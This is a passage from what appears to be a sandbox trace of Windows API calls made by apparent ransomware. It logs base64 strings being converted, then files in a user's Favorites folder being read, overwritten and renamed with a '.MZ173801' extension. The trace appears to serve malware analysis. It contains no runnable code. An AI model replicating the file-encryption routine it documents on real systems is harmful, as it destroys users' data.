Rjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.174] GetCurrentThreadId () returned 0x9fc [0144.174] GetCurrentThreadId () returned 0x9fc [0144.174] GetCurrentThreadId () returned 0x9fc [0144.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.175] GetCurrentThreadId () returned 0x9fc [0144.175] GetCurrentThreadId () returned 0x9fc [0144.175] GetCurrentThreadId () returned 0x9fc [0144.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.175] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.175] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.175] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.175] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.175] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.176] CloseHandle (hObject=0x224) returned 1 [0144.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.177] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.178] CloseHandle (hObject=0x224) returned 1 [0144.178] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.mz173801")) returned 1 [0144.178] GetCurrentThreadId () returned 0x9fc [0144.179] GetCurrentThreadId () returned 0x9fc [0144.179] GetCurrentThreadId () returned 0x9fc [0144.179] GetCurrentThreadId () returned 0x9fc [0144.179] GetCurrentThreadId () returned 0x9fc [0144.179] GetCurrentThreadId () returned 0x9fc [0144.179] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0144.179] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.179] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.184] GetCurrentThreadId () returned 0x9fc [0144.184] GetCurrentThreadId () returned 0x9fc [0144.184] GetCurrentThreadId () returned 0x9fc [0144.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.185] GetCurrentThreadId () returned 0x9fc [0144.185] GetCurrentThreadId () returned 0x9fc [0144.185] GetCurrentThreadId () returned 0x9fc [0144.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.185] SetFilePointer (in: hFile=0x224, 